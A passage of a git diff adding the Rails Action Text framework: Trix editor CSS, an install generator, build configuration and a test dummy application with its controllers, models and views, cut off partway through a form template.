+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M5%206a1%201%200%200%201%201-1h12a1%201%200%201%201%200%202H6a1%201%200%200%201-1-1Zm4%205a1%201%200%201%200%200%202h9a1%201%200%201%200%200-2H9Zm-3%206a1%201%200%201%200%200%202h12a1%201%200%201%200%200-2H6Zm-3.707-5.707a1%201%200%200%200%200%201.414l2%202a1%201%200%201%200%201.414-1.414L4.414%2012l1.293-1.293a1%201%200%200%200-1.414-1.414l-2%202Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-button--icon-increase-nesting-level::before {
+  background-image: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M5%206a1%201%200%200%201%201-1h12a1%201%200%201%201%200%202H6a1%201%200%200%201-1-1Zm4%205a1%201%200%201%200%200%202h9a1%201%200%201%200%200-2H9Zm-3%206a1%201%200%201%200%200%202h12a1%201%200%201%200%200-2H6Zm-2.293-2.293%202-2a1%201%200%200%200%200-1.414l-2-2a1%201%200%201%200-1.414%201.414L3.586%2012l-1.293%201.293a1%201%200%201%200%201.414%201.414Z%22%20fill%3D%22%23000%22%2F%3E%3C%2Fsvg%3E"); }
+
+trix-toolbar .trix-dialogs {
+  position: relative; }
+
+trix-toolbar .trix-dialog {
+  position: absolute;
+  top: 0;
+  left: 0;
+  right: 0;
+  font-size: 0.75em;
+  padding: 15px 10px;
+  background: #fff;
+  box-shadow: 0 0.3em 1em #ccc;
+  border-top: 2px solid #888;
+  border-radius: 5px;
+  z-index: 5; }
+
+trix-toolbar .trix-input--dialog {
+  font-size: inherit;
+  font-weight: normal;
+  padding: 0.5em 0.8em;
+  margin: 0 10px 0 0;
+  border-radius: 3px;
+  border: 1px solid #bbb;
+  background-color: #fff;
+  box-shadow: none;
+  outline: none;
+  -webkit-appearance: none;
+  -moz-appearance: none; }
+  trix-toolbar .trix-input--dialog.validate:invalid {
+    box-shadow: #F00 0px 0px 1.5px 1px; }
+
+trix-toolbar .trix-button--dialog {
+  font-size: inherit;
+  padding: 0.5em;
+  border-bottom: none; }
+
+trix-toolbar .trix-dialog--link {
+  max-width: 600px; }
+
+trix-toolbar .trix-dialog__link-fields {
+  display: flex;
+  align-items: baseline; }
+  trix-toolbar .trix-dialog__link-fields .trix-input {
+    flex: 1; }
+  trix-toolbar .trix-dialog__link-fields .trix-button-group {
+    flex: 0 0 content;
+    margin: 0; }
+
+trix-editor [data-trix-mutable]:not(.attachment__caption-editor) {
+  -webkit-user-select: none;
+  -moz-user-select: none;
+  -ms-user-select: none;
+  user-select: none; }
+
+trix-editor [data-trix-mutable]::-moz-selection,
+trix-editor [data-trix-cursor-target]::-moz-selection, trix-editor [data-trix-mutable] ::-moz-selection {
+  background: none; }
+
+trix-editor [data-trix-mutable]::selection,
+trix-editor [data-trix-cursor-target]::selection, trix-editor [data-trix-mutable] ::selection {
+  background: none; }
+
+trix-editor .attachment__caption-editor:focus[data-trix-mutable]::-moz-selection {
+  background: highlight; }
+
+trix-editor .attachment__caption-editor:focus[data-trix-mutable]::selection {
+  background: highlight; }
+
+trix-editor [data-trix-mutable].attachment.attachment--file {
+  box-shadow: 0 0 0 2px highlight;
+  border-color: transparent; }
+
+trix-editor [data-trix-mutable].attachment img {
+  box-shadow: 0 0 0 2px highlight; }
+
+trix-editor .attachment {
+  position: relative; }
+  trix-editor .attachment:hover {
+    cursor: default; }
+
+trix-editor .attachment--preview .attachment__caption:hover {
+  cursor: text; }
+
+trix-editor .attachment__progress {
+  position: absolute;
+  z-index: 1;
+  height: 20px;
+  top: calc(50% - 10px);
+  left: 5%;
+  width: 90%;
+  opacity: 0.9;
+  transition: opacity 200ms ease-in; }
+  trix-editor .attachment__progress[value="100"] {
+    opacity: 0; }
+
+trix-editor .attachment__caption-editor {
+  display: inline-block;
+  width: 100%;
+  margin: 0;
+  padding: 0;
+  font-size: inherit;
+  font-family: inherit;
+  line-height: inherit;
+  color: inherit;
+  text-align: center;
+  vertical-align: top;
+  border: none;
+  outline: none;
+  -webkit-appearance: none;
+  -moz-appearance: none; }
+
+trix-editor .attachment__toolbar {
+  position: absolute;
+  z-index: 1;
+  top: -0.9em;
+  left: 0;
+  width: 100%;
+  text-align: center; }
+
+trix-editor .trix-button-group {
+  display: inline-flex; }
+
+trix-editor .trix-button {
+  position: relative;
+  float: left;
+  color: #666;
+  white-space: nowrap;
+  font-size: 80%;
+  padding: 0 0.8em;
+  margin: 0;
+  outline: none;
+  border: none;
+  border-radius: 0;
+  background: transparent; }
+  trix-editor .trix-button:not(:first-child) {
+    border-left: 1px solid #ccc; }
+  trix-editor .trix-button.trix-active {
+    background: #cbeefa; }
+  trix-editor .trix-button:not(:disabled) {
+    cursor: pointer; }
+
+trix-editor .trix-button--remove {
+  text-indent: -9999px;
+  display: inline-block;
+  padding: 0;
+  outline: none;
+  width: 1.8em;
+  height: 1.8em;
+  line-height: 1.8em;
+  border-radius: 50%;
+  background-color: #fff;
+  border: 2px solid highlight;
+  box-shadow: 1px 1px 6px rgba(0, 0, 0, 0.25); }
+  trix-editor .trix-button--remove::before {
+    display: inline-block;
+    position: absolute;
+    top: 0;
+    right: 0;
+    bottom: 0;
+    left: 0;
+    opacity: 0.7;
+    content: "";
+    background-image: url("data:image/svg+xml,%3Csvg%20height%3D%2224%22%20width%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M19%206.41%2017.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z%22%2F%3E%3Cpath%20d%3D%22M0%200h24v24H0z%22%20fill%3D%22none%22%2F%3E%3C%2Fsvg%3E");
+    background-position: center;
+    background-repeat: no-repeat;
+    background-size: 90%; }
+  trix-editor .trix-button--remove:hover {
+    border-color: #333; }
+    trix-editor .trix-button--remove:hover::before {
+      opacity: 1; }
+
+trix-editor .attachment__metadata-container {
+  position: relative; }
+
+trix-editor .attachment__metadata {
+  position: absolute;
+  left: 50%;
+  top: 2em;
+  transform: translate(-50%, 0);
+  max-width: 90%;
+  padding: 0.1em 0.6em;
+  font-size: 0.8em;
+  color: #fff;
+  background-color: rgba(0, 0, 0, 0.7);
+  border-radius: 3px; }
+  trix-editor .attachment__metadata .attachment__name {
+    display: inline-block;
+    max-width: 100%;
+    vertical-align: bottom;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    white-space: nowrap; }
+  trix-editor .attachment__metadata .attachment__size {
+    margin-left: 0.2em;
+    white-space: nowrap; }
+
+.trix-content {
+  line-height: 1.5;
+  overflow-wrap: break-word;
+  word-break: break-word; }
+  .trix-content * {
+    box-sizing: border-box;
+    margin: 0;
+    padding: 0; }
+  .trix-content h1 {
+    font-size: 1.2em;
+    line-height: 1.2; }
+  .trix-content blockquote {
+    border: 0 solid #ccc;
+    border-left-width: 0.3em;
+    margin-left: 0.3em;
+    padding-left: 0.6em; }
+  .trix-content [dir=rtl] blockquote,
+  .trix-content blockquote[dir=rtl] {
+    border-width: 0;
+    border-right-width: 0.3em;
+    margin-right: 0.3em;
+    padding-right: 0.6em; }
+  .trix-content li {
+    margin-left: 1em; }
+  .trix-content [dir=rtl] li {
+    margin-right: 1em; }
+  .trix-content pre {
+    display: inline-block;
+    width: 100%;
+    vertical-align: top;
+    font-family: monospace;
+    font-size: 0.9em;
+    padding: 0.5em;
+    white-space: pre;
+    background-color: #eee;
+    overflow-x: auto; }
+  .trix-content img {
+    max-width: 100%;
+    height: auto; }
+  .trix-content .attachment {
+    display: inline-block;
+    position: relative;
+    max-width: 100%; }
+    .trix-content .attachment a {
+      color: inherit;
+      text-decoration: none; }
+      .trix-content .attachment a:hover, .trix-content .attachment a:visited:hover {
+        color: inherit; }
+  .trix-content .attachment__caption {
+    text-align: center; }
+    .trix-content .attachment__caption .attachment__name + .attachment__size::before {
+      content: ' \2022 '; }
+  .trix-content .attachment--preview {
+    width: 100%;
+    text-align: center; }
+    .trix-content .attachment--preview .attachment__caption {
+      color: #666;
+      font-size: 0.9em;
+      line-height: 1.2; }
+  .trix-content .attachment--file {
+    color: #333;
+    line-height: 1;
+    margin: 0 2px 2px 2px;
+    padding: 0.4em 1em;
+    border: 1px solid #bbb;
+    border-radius: 5px; }
+  .trix-content .attachment-gallery {
+    display: flex;
+    flex-wrap: wrap;
+    position: relative; }
+    .trix-content .attachment-gallery .attachment {
+      flex: 1 0 33%;
+      padding: 0 0.5em;
+      max-width: 33%; }
+    .trix-content .attachment-gallery.attachment-gallery--2 .attachment, .trix-content .attachment-gallery.attachment-gallery--4 .attachment {
+      flex-basis: 50%;
+      max-width: 50%; }
+
+/*
+ * We need to override trix.css’s image gallery styles to accommodate the
+ * <action-text-attachment> element we wrap around attachments. Otherwise,
+ * images in galleries will be squished by the max-width: 33%; rule.
+*/
+.trix-content .attachment-gallery > action-text-attachment,
+.trix-content .attachment-gallery > .attachment {
+  flex: 1 0 33%;
+  padding: 0 0.5em;
+  max-width: 33%;
+}
+
+.trix-content .attachment-gallery.attachment-gallery--2 > action-text-attachment,
+.trix-content .attachment-gallery.attachment-gallery--2 > .attachment, .trix-content .attachment-gallery.attachment-gallery--4 > action-text-attachment,
+.trix-content .attachment-gallery.attachment-gallery--4 > .attachment {
+  flex-basis: 50%;
+  max-width: 50%;
+}
+
+.trix-content action-text-attachment .attachment {
+  padding: 0 !important;
+  max-width: 100% !important;
+}
diff --git a/actiontext/lib/rails/generators/test_unit/install_generator.rb b/actiontext/lib/rails/generators/test_unit/install_generator.rb
new file mode 100644
index 0000000000000..f0479aa88c9a1
--- /dev/null
+++ b/actiontext/lib/rails/generators/test_unit/install_generator.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module TestUnit
+  module Generators
+    class InstallGenerator < ::Rails::Generators::Base
+      source_root File.expand_path("templates", __dir__)
+
+      def create_test_files
+        template "fixtures.yml", "test/fixtures/action_text/rich_texts.yml"
+      end
+    end
+  end
+end
diff --git a/actiontext/lib/rails/generators/test_unit/templates/fixtures.yml b/actiontext/lib/rails/generators/test_unit/templates/fixtures.yml
new file mode 100644
index 0000000000000..8b371ea604af5
--- /dev/null
+++ b/actiontext/lib/rails/generators/test_unit/templates/fixtures.yml
@@ -0,0 +1,4 @@
+# one:
+#   record: name_of_fixture (ClassOfFixture)
+#   name: content
+#   body: <p>In a <i>million</i> stars!</p>
diff --git a/actiontext/lib/tasks/actiontext.rake b/actiontext/lib/tasks/actiontext.rake
new file mode 100644
index 0000000000000..4d5da8669d4f0
--- /dev/null
+++ b/actiontext/lib/tasks/actiontext.rake
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+desc "Copy over the migration, stylesheet, and JavaScript files"
+task "action_text:install" do
+  Rails::Command.invoke :generate, ["action_text:install"]
+end
diff --git a/actiontext/package.json b/actiontext/package.json
new file mode 100644
index 0000000000000..51de2cdac5927
--- /dev/null
+++ b/actiontext/package.json
@@ -0,0 +1,40 @@
+{
+  "name": "@rails/actiontext",
+  "version": "8.2.0-alpha",
+  "description": "Edit and display rich text in Rails applications",
+  "module": "app/assets/javascripts/actiontext.esm.js",
+  "main": "app/assets/javascripts/actiontext.js",
+  "files": [
+    "app/assets/javascripts/*.js"
+  ],
+  "homepage": "https://rubyonrails.org/",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/rails/rails.git"
+  },
+  "bugs": {
+    "url": "https://github.com/rails/rails/issues"
+  },
+  "author": "37signals LLC",
+  "contributors": [
+    "Javan Makhmali <javan@javan.us>",
+    "Sam Stephenson <sstephenson@gmail.com>"
+  ],
+  "license": "MIT",
+  "dependencies": {
+    "@rails/activestorage": ">= 8.1.0-alpha"
+  },
+  "peerDependencies": {
+    "trix": "^2.0.0"
+  },
+  "devDependencies": {
+    "@rollup/plugin-commonjs": "^19.0.1",
+    "@rollup/plugin-node-resolve": "^11.0.1",
+    "rollup": "^2.35.1",
+    "rollup-plugin-terser": "^7.0.2",
+    "trix": "^2.0.0"
+  },
+  "scripts": {
+    "build": "rollup --config rollup.config.js"
+  }
+}
diff --git a/actiontext/rollup.config.js b/actiontext/rollup.config.js
new file mode 100644
index 0000000000000..00c19ad52553a
--- /dev/null
+++ b/actiontext/rollup.config.js
@@ -0,0 +1,41 @@
+import resolve from "@rollup/plugin-node-resolve"
+import commonjs from "@rollup/plugin-commonjs"
+import { terser } from "rollup-plugin-terser"
+
+const terserOptions = {
+ mangle: false,
+ compress: false,
+ format: {
+   beautify: true,
+   indent_level: 2
+ }
+}
+
+export default [
+  {
+    input: "app/javascript/actiontext/index.js",
+    output: {
+      file: "app/assets/javascripts/actiontext.js",
+      format: "umd",
+      name: "ActionText"
+    },
+    plugins: [
+      resolve(),
+      commonjs(),
+      terser(terserOptions)
+    ]
+  },
+
+  {
+    input: "app/javascript/actiontext/index.js",
+    output: {
+      file: "app/assets/javascripts/actiontext.esm.js",
+      format: "es"
+    },
+    plugins: [
+      resolve(),
+      commonjs(),
+      terser(terserOptions)
+    ]
+  }
+]
diff --git a/actiontext/test/application_system_test_case.rb b/actiontext/test/application_system_test_case.rb
new file mode 100644
index 0000000000000..a24f473598c5b
--- /dev/null
+++ b/actiontext/test/application_system_test_case.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_chrome
+end
+
+Capybara.server = :puma, { Silent: true }
diff --git a/actiontext/test/dummy/Rakefile b/actiontext/test/dummy/Rakefile
new file mode 100644
index 0000000000000..9a5ea7383aa83
--- /dev/null
+++ b/actiontext/test/dummy/Rakefile
@@ -0,0 +1,6 @@
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require_relative "config/application"
+
+Rails.application.load_tasks
diff --git a/actiontext/test/dummy/app/assets/config/manifest.js b/actiontext/test/dummy/app/assets/config/manifest.js
new file mode 100644
index 0000000000000..4c9ab805cb7e1
--- /dev/null
+++ b/actiontext/test/dummy/app/assets/config/manifest.js
@@ -0,0 +1,3 @@
+//= link_tree ../images
+//= link_directory ../stylesheets .css
+//= link_tree ../../javascript .js
diff --git a/actiontext/test/dummy/app/assets/images/.keep b/actiontext/test/dummy/app/assets/images/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/app/assets/stylesheets/application.css b/actiontext/test/dummy/app/assets/stylesheets/application.css
new file mode 100644
index 0000000000000..6fbebd3213bbd
--- /dev/null
+++ b/actiontext/test/dummy/app/assets/stylesheets/application.css
@@ -0,0 +1,16 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or any plugin's vendor/assets/stylesheets directory can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS
+ * files in this directory. Styles in this file should be added after the last require_* statement.
+ * It is generally better to create a new file per style scope.
+ *
+ *= require trix
+ *= require_tree .
+ *= require_self
+ */
diff --git a/railties/lib/rails/generators/css/assets/templates/stylesheet.css b/actiontext/test/dummy/app/assets/stylesheets/messages.css
similarity index 100%
rename from railties/lib/rails/generators/css/assets/templates/stylesheet.css
rename to actiontext/test/dummy/app/assets/stylesheets/messages.css
diff --git a/actiontext/test/dummy/app/assets/stylesheets/scaffold.css b/actiontext/test/dummy/app/assets/stylesheets/scaffold.css
new file mode 100644
index 0000000000000..cd4f3de38d1f0
--- /dev/null
+++ b/actiontext/test/dummy/app/assets/stylesheets/scaffold.css
@@ -0,0 +1,80 @@
+body {
+  background-color: #fff;
+  color: #333;
+  margin: 33px;
+}
+
+body, p, ol, ul, td {
+  font-family: verdana, arial, helvetica, sans-serif;
+  font-size: 13px;
+  line-height: 18px;
+}
+
+pre {
+  background-color: #eee;
+  padding: 10px;
+  font-size: 11px;
+}
+
+a {
+  color: #000;
+}
+
+a:visited {
+  color: #666;
+}
+
+a:hover {
+  color: #fff;
+  background-color: #000;
+}
+
+th {
+  padding-bottom: 5px;
+}
+
+td {
+  padding: 0 5px 7px;
+}
+
+div.field,
+div.actions {
+  margin-bottom: 10px;
+}
+
+#notice {
+  color: green;
+}
+
+.field_with_errors {
+  padding: 2px;
+  background-color: red;
+  display: table;
+}
+
+#error_explanation {
+  width: 450px;
+  border: 2px solid red;
+  padding: 7px 7px 0;
+  margin-bottom: 20px;
+  background-color: #f0f0f0;
+}
+
+#error_explanation h2 {
+  text-align: left;
+  font-weight: bold;
+  padding: 5px 5px 5px 15px;
+  font-size: 12px;
+  margin: -7px -7px 0;
+  background-color: #c00;
+  color: #fff;
+}
+
+#error_explanation ul li {
+  font-size: 12px;
+  list-style: square;
+}
+
+label {
+  display: block;
+}
diff --git a/actiontext/test/dummy/app/channels/application_cable/channel.rb b/actiontext/test/dummy/app/channels/application_cable/channel.rb
new file mode 100644
index 0000000000000..d67269728300b
--- /dev/null
+++ b/actiontext/test/dummy/app/channels/application_cable/channel.rb
@@ -0,0 +1,4 @@
+module ApplicationCable
+  class Channel < ActionCable::Channel::Base
+  end
+end
diff --git a/actiontext/test/dummy/app/channels/application_cable/connection.rb b/actiontext/test/dummy/app/channels/application_cable/connection.rb
new file mode 100644
index 0000000000000..0ff5442f476f9
--- /dev/null
+++ b/actiontext/test/dummy/app/channels/application_cable/connection.rb
@@ -0,0 +1,4 @@
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+  end
+end
diff --git a/actiontext/test/dummy/app/controllers/admin/messages_controller.rb b/actiontext/test/dummy/app/controllers/admin/messages_controller.rb
new file mode 100644
index 0000000000000..7c3316324b514
--- /dev/null
+++ b/actiontext/test/dummy/app/controllers/admin/messages_controller.rb
@@ -0,0 +1,5 @@
+class Admin::MessagesController < ActionController::Base
+  def show
+    @message = Message.find(params[:id])
+  end
+end
diff --git a/actiontext/test/dummy/app/controllers/concerns/.keep b/actiontext/test/dummy/app/controllers/concerns/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/app/controllers/messages_controller.rb b/actiontext/test/dummy/app/controllers/messages_controller.rb
new file mode 100644
index 0000000000000..230e8ad3f91c5
--- /dev/null
+++ b/actiontext/test/dummy/app/controllers/messages_controller.rb
@@ -0,0 +1,62 @@
+class MessagesController < ActionController::Base
+  before_action :set_message, only: [:show, :edit, :update, :destroy]
+
+  # This class intentionally does not extend ApplicationController, so the
+  # layout must be set manually. See commit 614e813 for details
+  layout "application"
+
+  # GET /messages
+  def index
+    @messages = Message.all
+  end
+
+  # GET /messages/1
+  def show
+  end
+
+  # GET /messages/new
+  def new
+    @message = Message.new
+  end
+
+  # GET /messages/1/edit
+  def edit
+  end
+
+  # POST /messages
+  def create
+    @message = Message.new(message_params)
+
+    if @message.save
+      redirect_to @message, notice: 'Message was successfully created.'
+    else
+      render :new, status: :unprocessable_entity
+    end
+  end
+
+  # PATCH/PUT /messages/1
+  def update
+    if @message.update(message_params)
+      redirect_to @message, notice: 'Message was successfully updated.'
+    else
+      render :edit, status: :unprocessable_entity
+    end
+  end
+
+  # DELETE /messages/1
+  def destroy
+    @message.destroy
+    redirect_to messages_url, notice: 'Message was successfully destroyed.'
+  end
+
+  private
+    # Use callbacks to share common setup or constraints between actions.
+    def set_message
+      @message = Message.find(params[:id])
+    end
+
+    # Only allow a trusted parameter list through.
+    def message_params
+      params.expect(message: [:subject, :content])
+    end
+end
diff --git a/actiontext/test/dummy/app/helpers/application_helper.rb b/actiontext/test/dummy/app/helpers/application_helper.rb
new file mode 100644
index 0000000000000..de6be7945c6a5
--- /dev/null
+++ b/actiontext/test/dummy/app/helpers/application_helper.rb
@@ -0,0 +1,2 @@
+module ApplicationHelper
+end
diff --git a/actiontext/test/dummy/app/helpers/messages_helper.rb b/actiontext/test/dummy/app/helpers/messages_helper.rb
new file mode 100644
index 0000000000000..f1bca9f6ca004
--- /dev/null
+++ b/actiontext/test/dummy/app/helpers/messages_helper.rb
@@ -0,0 +1,2 @@
+module MessagesHelper
+end
diff --git a/actiontext/test/dummy/app/javascript/application.js b/actiontext/test/dummy/app/javascript/application.js
new file mode 100644
index 0000000000000..807fb4ba44de6
--- /dev/null
+++ b/actiontext/test/dummy/app/javascript/application.js
@@ -0,0 +1,17 @@
+import "trix"
+import "@rails/actiontext"
+
+addEventListener("click", ({ target }) => {
+  if (target.matches(`[data-trix-action~="x-attach"]`)) {
+    const toolbar = target.closest("trix-toolbar")
+    const template = target.querySelector("template")
+    const actionTextAttachment = {
+      ...JSON.parse(template.getAttribute("data-action-text-attachment")),
+      content: template.innerHTML
+    }
+
+    for (const editorElement of document.querySelectorAll(`trix-editor[toolbar="${toolbar.id}"]`)) {
+      editorElement.editor.insertAttachment(new Trix.Attachment(actionTextAttachment))
+    }
+  }
+})
diff --git a/actiontext/test/dummy/app/jobs/application_job.rb b/actiontext/test/dummy/app/jobs/application_job.rb
new file mode 100644
index 0000000000000..d394c3d106230
--- /dev/null
+++ b/actiontext/test/dummy/app/jobs/application_job.rb
@@ -0,0 +1,7 @@
+class ApplicationJob < ActiveJob::Base
+  # Automatically retry jobs that encountered a deadlock
+  # retry_on ActiveRecord::Deadlocked
+
+  # Most jobs are safe to ignore if the underlying records are no longer available
+  # discard_on ActiveJob::DeserializationError
+end
diff --git a/actiontext/test/dummy/app/jobs/broadcast_job.rb b/actiontext/test/dummy/app/jobs/broadcast_job.rb
new file mode 100644
index 0000000000000..109b34ef502c8
--- /dev/null
+++ b/actiontext/test/dummy/app/jobs/broadcast_job.rb
@@ -0,0 +1,9 @@
+class BroadcastJob < ApplicationJob
+  def perform(file, message)
+    File.write(file, <<~HTML)
+      <turbo-stream action="replace" target="message_#{message.id}">
+        <template>#{message.content}</template>
+      </turbo-stream>
+    HTML
+  end
+end
diff --git a/actiontext/test/dummy/app/mailers/application_mailer.rb b/actiontext/test/dummy/app/mailers/application_mailer.rb
new file mode 100644
index 0000000000000..3c34c8148f105
--- /dev/null
+++ b/actiontext/test/dummy/app/mailers/application_mailer.rb
@@ -0,0 +1,4 @@
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout "mailer"
+end
diff --git a/actiontext/test/dummy/app/mailers/messages_mailer.rb b/actiontext/test/dummy/app/mailers/messages_mailer.rb
new file mode 100644
index 0000000000000..ce0af3b3cac45
--- /dev/null
+++ b/actiontext/test/dummy/app/mailers/messages_mailer.rb
@@ -0,0 +1,6 @@
+class MessagesMailer < ApplicationMailer
+  def notification
+    @message = params[:message]
+    mail to: params[:recipient], subject: "NEW MESSAGE: #{@message.subject}"
+  end
+end
diff --git a/actiontext/test/dummy/app/models/application_record.rb b/actiontext/test/dummy/app/models/application_record.rb
new file mode 100644
index 0000000000000..b63caeb8a5c4a
--- /dev/null
+++ b/actiontext/test/dummy/app/models/application_record.rb
@@ -0,0 +1,3 @@
+class ApplicationRecord < ActiveRecord::Base
+  primary_abstract_class
+end
diff --git a/actiontext/test/dummy/app/models/concerns/.keep b/actiontext/test/dummy/app/models/concerns/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/app/models/encrypted_message.rb b/actiontext/test/dummy/app/models/encrypted_message.rb
new file mode 100644
index 0000000000000..fec02f2c06e26
--- /dev/null
+++ b/actiontext/test/dummy/app/models/encrypted_message.rb
@@ -0,0 +1,3 @@
+class EncryptedMessage < Message
+  has_rich_text :content, encrypted: true
+end
\ No newline at end of file
diff --git a/actiontext/test/dummy/app/models/message.rb b/actiontext/test/dummy/app/models/message.rb
new file mode 100644
index 0000000000000..7bce50753ca0c
--- /dev/null
+++ b/actiontext/test/dummy/app/models/message.rb
@@ -0,0 +1,7 @@
+class Message < ApplicationRecord
+  has_rich_text :content
+  has_rich_text :body
+
+  has_one :review
+  accepts_nested_attributes_for :review
+end
diff --git a/actiontext/test/dummy/app/models/message_without_blanks.rb b/actiontext/test/dummy/app/models/message_without_blanks.rb
new file mode 100644
index 0000000000000..e7c7d0805dd7f
--- /dev/null
+++ b/actiontext/test/dummy/app/models/message_without_blanks.rb
@@ -0,0 +1,5 @@
+class MessageWithoutBlanks < ApplicationRecord
+  self.table_name = Message.table_name
+  
+  has_rich_text :content, store_if_blank: false
+end
diff --git a/actiontext/test/dummy/app/models/message_without_blanks_with_content_validation.rb b/actiontext/test/dummy/app/models/message_without_blanks_with_content_validation.rb
new file mode 100644
index 0000000000000..daf266bbedce9
--- /dev/null
+++ b/actiontext/test/dummy/app/models/message_without_blanks_with_content_validation.rb
@@ -0,0 +1,3 @@
+class MessageWithoutBlanksWithContentValidation < MessageWithoutBlanks
+  validates :content, presence: true
+end
diff --git a/actiontext/test/dummy/app/models/page.rb b/actiontext/test/dummy/app/models/page.rb
new file mode 100644
index 0000000000000..dfebf282a77d8
--- /dev/null
+++ b/actiontext/test/dummy/app/models/page.rb
@@ -0,0 +1,4 @@
+class Page < ApplicationRecord
+  include ActionText::Attachable
+end
+
diff --git a/actiontext/test/dummy/app/models/person.rb b/actiontext/test/dummy/app/models/person.rb
new file mode 100644
index 0000000000000..71e35949e739a
--- /dev/null
+++ b/actiontext/test/dummy/app/models/person.rb
@@ -0,0 +1,19 @@
+class Person < ApplicationRecord
+  include ActionText::Attachable
+
+  def self.to_missing_attachable_partial_path
+    "people/missing_attachable"
+  end
+
+  def to_trix_content_attachment_partial_path
+    to_editor_content_attachment_partial_path
+  end
+
+  def to_editor_content_attachment_partial_path
+    "people/trix_content_attachment"
+  end
+
+  def to_attachable_partial_path
+    "people/attachable"
+  end
+end
diff --git a/actiontext/test/dummy/app/models/review.rb b/actiontext/test/dummy/app/models/review.rb
new file mode 100644
index 0000000000000..e54a37685d74d
--- /dev/null
+++ b/actiontext/test/dummy/app/models/review.rb
@@ -0,0 +1,5 @@
+class Review < ApplicationRecord
+  belongs_to :message
+
+  has_rich_text :content
+end
diff --git a/actiontext/test/dummy/app/views/active_storage/blobs/_attachable.html.erb b/actiontext/test/dummy/app/views/active_storage/blobs/_attachable.html.erb
new file mode 100644
index 0000000000000..1e23d356df8b5
--- /dev/null
+++ b/actiontext/test/dummy/app/views/active_storage/blobs/_attachable.html.erb
@@ -0,0 +1 @@
+<%= image_tag blob %>
diff --git a/actiontext/test/dummy/app/views/admin/messages/show.html.erb b/actiontext/test/dummy/app/views/admin/messages/show.html.erb
new file mode 100644
index 0000000000000..ba9067f2018dc
--- /dev/null
+++ b/actiontext/test/dummy/app/views/admin/messages/show.html.erb
@@ -0,0 +1,16 @@
+<dl>
+  <dt>Subject</dt>
+  <dd>
+    <span id="subject"><%= @message.subject %></span>
+  </dd>
+
+  <dt>Content (Plain Text)</dt>
+  <dd>
+    <pre id="content-plain"><%= @message.content.to_plain_text %></pre>
+  </dd>
+
+  <dt>Content (HTML)</dt>
+  <dd>
+    <div id="content-html"><%= @message.content %></div>
+  </dd>
+</dl>
diff --git a/actiontext/test/dummy/app/views/layouts/application.html.erb b/actiontext/test/dummy/app/views/layouts/application.html.erb
new file mode 100644
index 0000000000000..8217faf46d48e
--- /dev/null
+++ b/actiontext/test/dummy/app/views/layouts/application.html.erb
@@ -0,0 +1,16 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title>Dummy</title>
+    <meta name="viewport" content="width=device-width,initial-scale=1">
+    <%= csrf_meta_tags %>
+    <%= csp_meta_tag %>
+
+    <%= stylesheet_link_tag "application" %>
+    <%= javascript_importmap_tags %>
+  </head>
+
+  <body>
+    <%= yield %>
+  </body>
+</html>
diff --git a/actiontext/test/dummy/app/views/layouts/mailer.html.erb b/actiontext/test/dummy/app/views/layouts/mailer.html.erb
new file mode 100644
index 0000000000000..3aac9002edca7
--- /dev/null
+++ b/actiontext/test/dummy/app/views/layouts/mailer.html.erb
@@ -0,0 +1,13 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+    <style>
+      /* Email styles need to be inline */
+    </style>
+  </head>
+
+  <body>
+    <%= yield %>
+  </body>
+</html>
diff --git a/actiontext/test/dummy/app/views/layouts/mailer.text.erb b/actiontext/test/dummy/app/views/layouts/mailer.text.erb
new file mode 100644
index 0000000000000..37f0bddbd746b
--- /dev/null
+++ b/actiontext/test/dummy/app/views/layouts/mailer.text.erb
@@ -0,0 +1 @@
+<%= yield %>
diff --git a/actiontext/test/dummy/app/views/messages/_form.html.erb b/actiontext/test/dummy/app/views/messages/_form.html.erb
new file mode 100644
index 0000000000000..d3a36cd7b631b
--- /dev/null
+++ b/actiontext/test/dummy/app/views/messages/_form.html.erb
@@ -0,0 +1,42 @@
+<%= form_with(model: message) do |form| %>
+  <% if message.errors.any? %>
+    <div id="error_explanation">
+      <h2><%= pluralize(message.errors.count, "error") %> prohibited this message from being saved:</h2>
+
+      <ul>
+      <% message.errors.full_messages.each do |message| %>
+        <li><%= message %></li>
+      <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <div class="field">
+    <%= form.label :subject %>
